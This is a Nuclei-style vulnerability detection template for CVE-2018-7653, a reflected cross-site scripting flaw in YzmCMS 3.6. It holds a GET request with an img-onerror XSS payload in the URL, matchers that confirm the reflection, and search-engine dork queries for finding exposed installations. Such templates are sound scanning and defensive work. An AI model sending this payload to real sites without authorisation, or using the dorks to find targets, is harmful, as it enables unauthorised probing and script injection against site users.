id: CVE-2018-7653

info:
  name: YzmCMS v3.6 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: In YzmCMS 3.6, index.php has XSS via the a, c, or m parameter.
  impact: |
    Attackers can execute arbitrary JavaScript in victims' browsers, potentially stealing session cookies, credentials, or performing actions on behalf of authenticated users.
  remediation: |
    To mitigate this vulnerability, it is recommended to implement proper input validation and sanitization techniques to prevent the execution of malicious scripts.
  reference:
    - https://packetstormsecurity.com/files/147065/YzmCMS-3.6-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2018-7653
    - https://github.com/ponyma233/YzmCMS/blob/master/YzmCMS_3.6_bug.md
    - https://github.com/anquanquantao/iwantacve
    - https://github.com/5ecurity/CVE-List
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-7653
    cwe-id: CWE-79
    epss-score: 0.08686
    epss-percentile: 0.94586
    cpe: cpe:2.3:a:yzmcms:yzmcms:3.6:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: yzmcms
    product: yzmcms
    shodan-query:
      - title:"YzmCMS"
      - http.title:"yzmcms"
    fofa-query:
      - title="YzmCMS"
      - title="yzmcms"
    google-query: intitle:"yzmcms"
  tags: cve,cve2018,packetstorm,yzmcms,cms,xss,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/index.php?m=search&c=index&a=initxqb4n<img%20src%3da%20onerror%3dalert(document.domain)>cu9rs&modelid=1&q=tes'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<img src=a onerror=alert(document.domain)>'
          - 'YzmCMS'
        condition: and
        case-insensitive: true

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100de2105f06a9f116757440e62f67dbc89660e9a9d75ccca62bc3ddfbf39d02eb8022100c622ea94332b6f39ec622109255c8b629168cddb69e768470cf537894be4b116:922c64590222798bb761d5b6d8e72950